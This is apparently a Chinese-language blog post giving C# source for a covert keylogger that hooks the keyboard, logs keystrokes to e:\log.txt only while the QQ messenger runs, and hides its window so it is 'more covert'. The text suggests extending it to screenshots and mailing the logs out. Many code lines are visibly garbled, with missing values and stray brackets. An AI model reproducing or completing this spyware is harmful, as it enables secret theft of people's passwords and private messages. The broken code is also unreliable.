扫描进程,如果QQ启动了,开始记录键盘,别的程序都不记录。记录到e:\log.txt里面,当然也可以修改为截屏+记录发送到邮箱或客户端
进程
Process[] p = Process.GetProcessesByName("QQ"); 也可以改成别的什么的,这里是“QQ”
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace getp { public class KeyRecord { FileStream fs; StreamWriter sw; string command = ""; string savePath = @"e:\log.txt"; bool atReco = false; private const int WM_KEYDOWN = 0x100; private const int WM_KEYUP = 0x101; private const int WM_SYSKEYDOWN = 0x104; private const int WM_SYSKEYUP = 0x105; public event KeyEventHandler OnKeyDownEvent; public event KeyEventHandler OnKeyUpEvent; public event KeyPressEventHandler OnKeyPressEvent; ; ; HookProc KeyboardHookProcedure; [StructLayout(LayoutKind.Sequential)] public class KeyboardHookStruct { public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; } [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool UnhookWindowsHookEx(int idHook); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam); [DllImport("user32")] public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState); [DllImport("user32")] public static extern int GetKeyboardState(byte[] pbKeyState); public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam); public KeyRecord() { this.OnKeyPressEvent += new KeyPressEventHandler(KeyBordHook_OnKeyPressEvent); Start(); } ~KeyRecord() { Stop(); } public void Start() { ) { KeyboardHookProcedure = new HookProc(KeyboardHookProc); Module m = Assembly.GetExecutingAssembly().GetModules()[]; IntPtr itp = Marshal.GetHINSTANCE(m); hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, itp, ); ) { Stop(); throw new Exception("SetWindowsHookEx ist failed."); } } } public void Stop() { bool retKeyboard = true; ) { retKeyboard = UnhookWindowsHookEx(hKeyboardHook); hKeyboardHook = ; } if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed."); } private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam) { ) && (OnKeyDownEvent != null || OnKeyUpEvent != null || OnKeyPressEvent != null)) { KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct)); if (OnKeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); OnKeyDownEvent(this, e); } if (OnKeyPressEvent != null && wParam == WM_KEYDOWN) { ]; GetKeyboardState(keyState); ]; if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == ) { KeyPressEventArgs e = ]); OnKeyPressEvent(this, e); } } if (OnKeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); OnKeyUpEvent(this, e); } } return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); } private void KeyBordHook_OnKeyPressEvent(object sender, KeyPressEventArgs e) { if (command != "get end") { if (!atReco) { Process[] p = Process.GetProcessesByName("QQ"); ) { try { if (sw != null) { fs.Close(); sw.Close(); } fs = new FileStream(savePath, FileMode.OpenOrCreate, FileAccess.Write); sw = new StreamWriter(fs); } catch { } sw.BaseStream.Seek(, SeekOrigin.End); sw.Flush(); sw.Write(e.KeyChar.ToString()); sw.Flush(); sw.Close(); fs.Close(); } } } } } public partial class Form1 : Form { public Form1() { InitializeComponent(); KeyRecord kh = new KeyRecord(); } } }
修改
Program.cs,不使显示任何窗口信息,更隐蔽
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace getp { static class Program { internal class HideOnStartupApplicationContext : ApplicationContext { private Form mainFormInternal; public HideOnStartupApplicationContext(Form mainForm) { this.mainFormInternal = mainForm; } } /// <summary> /// 应用程序的主入口点。 /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new HideOnStartupApplicationContext(new Form1())); } } }
结合上一篇,可以干点什么....